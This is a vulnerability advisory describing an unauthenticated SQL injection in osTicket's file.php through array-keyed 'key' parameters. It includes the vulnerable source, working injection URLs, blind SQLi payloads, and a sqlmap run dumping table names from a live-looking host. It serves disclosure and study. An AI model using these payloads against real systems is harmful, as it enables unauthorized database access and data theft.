osTicket is a widely-used and trusted open source support ticket system. It seamlessly routes inquiries created via email, web-forms and phone calls into a simple, easy-to-use, multi-user, web-based customer support platform. osTicket comes packed with more features and tools than most of the expensive (and complex) support ticket systems on the market.
Advisory Informations
Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= v1.10
Technology: PHP
Vendor URL: http://osticket.com/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 12 Sep 2017
Technical Details
While I was reviewing source code, I’ve came across with following code snippet at file.php on line 20.
//Basic checks if (!$_GET['key'] || !$_GET['signature'] || !$_GET['expires'] || !($file = AttachmentFile::lookup($_GET['key'])) ) { Http::response(404, __('Unknown or invalid file')); }
Here is the static lookup function definition of AttachmentFile class.
static function lookup($id) { return is_string($id) ? static::lookupByHash($id) : parent::lookup($id); }
So this function checks id parameter which is user supplied. If it’s not a string, then it calls lookup function from parent class. Let’s have a look at parent::lookup
.
static function lookup($criteria) { // Model::lookup(1), where >1< is the pk value $args = func_get_args(); if (!is_array($criteria)) { $criteria = array(); $pk = static::getMeta('pk'); foreach ($args as $i=>$f) $criteria[$pk[$i]] = $f; // Only consult cache for PK lookup, which is assumed if the // values are passed as args rather than an array if ($cached = ModelInstanceManager::checkCache(get_called_class(), $criteria)) return $cached; } try { return static::objects()->filter($criteria)->one(); } catch (DoesNotExist $e) { return null; } }
We need to carefully read this section. Because this section gives a hint about database layer of osTicket. If you look closer to the lines between 5-8, you will recognise that we will have something as follow.
$criteria = array( 'ID' => 1337; );
Ofcourse ID name is coming from static::getMeta('pk')
call. And then we are seeing static::objects()->filter($criteria)->one();
call which is where application starts to executing sql query. The query generated by the application will be something as follow. (assuming user input is 1)
SELECT [column] FROM [table] WHERE `id` = '1';
If you remember the $criteria array created the by application; array key becomes a column name and it’s value becomes a data. Of course this data is sanitised by database layer.
The question is what will happen if the user input is an array instead of string ? Answer is SQL Injection. Let me show you how this is going to be happen.
Build an PHP Array from User Input
If you read following example, you will see that it’s possible to build an array by using square brackets at the end of parameter name.
// test.php source code <?php $param = $_GET['param']; echo(is_string($param) ? "string" : "array"); // Calling that file http://127.0.0.1/test.php?param=pentest.blog string // Calling that file http://127.0.0.1/test.php?param[]=pentest.blog array
Let’s see what is the array keys and values.
// test2.php source code <?php $param = $_GET['param']; var_dump($param); // http://127.0.0.1:8081/test.php?param[id][user]=1 array(1) { ["id"]=> array(1) { ["user"]=> string(1) "1" } }
So we are able to define array keys as well. Now, it’s time to go back to osTicket and manipulate the query..!
PoC
Let me recap user-input and generated sql query.
// Expected URL call 127.0.0.1/file.php?key=1&signature=1&expires=15104725311 SELECT [column] FROM [table] WHERE `id` = '1'; // Unexpected URL call 127.0.0.1/file.php?key[id` = 1 UNION SELECT 1,2,3--]=1&signature=1&expires=15104725311 SELECT [column] FROM [table] WHERE `id` = 1 UNION SELECT 1,2,3--` = '1';
Converting parameters to an array and using array key as a injection point is not a something new..! (Remember Drupal 7.x sql core injection case)
Here is the sqlmap usage.
➜ sqlmap git:(master) ✗ python sqlmap.py -u "http://52.56.92.204/file.php?key[id%60%3D1*%23]=1&signature=1&expires=15104725311" --dbms MySQL --tables --- Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://52.56.92.204:80/file.php?key[id`=1 AND 3307=3307#]=1&signature=1&expires=15104725311 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: http://52.56.92.204:80/file.php?key[id`=1 AND SLEEP(5)#]=1&signature=1&expires=15104725311 --- [11:53:29] [INFO] testing MySQL [11:53:29] [INFO] confirming MySQL [11:53:29] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx back-end DBMS: MySQL >= 5.0.0 [11:53:29] [INFO] fetching database names [11:53:29] [INFO] fetching number of databases [11:53:29] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [11:53:29] [INFO] retrieved: [11:53:29] [WARNING] reflective value(s) found and filtering out 2 [11:53:30] [INFO] retrieved: information_schema [11:53:39] [INFO] retrieved: osticketdb [11:53:44] [INFO] fetching tables for databases: 'information_schema, osticketdb' [11:53:44] [INFO] fetching number of tables for database 'osticketdb' [11:53:44] [INFO] retrieved: 56 [11:53:45] [INFO] retrieved: ost__search [11:53:50] [INFO] retrieved: ost_api_key [11:53:55] [INFO] retrieved: ost_attachment [11:54:00] [INFO] retrieved: ost_canned_response [11:54:07] [INFO] retrieved: ost_config [11:54:10] [INFO] retrieved: ost_content [11:54:14] [INFO] retrieved: ost_department [11:54:23] [INFO] retrieved: ost_draft [11:54:27] [INFO] retrieved: ost_email [11:54:30] [INFO] retrieved: ost_email_account [11:54:36] [INFO] retrieved: ost_email_template [11:54:40] [INFO] retrieved: ost_email_template_gro ...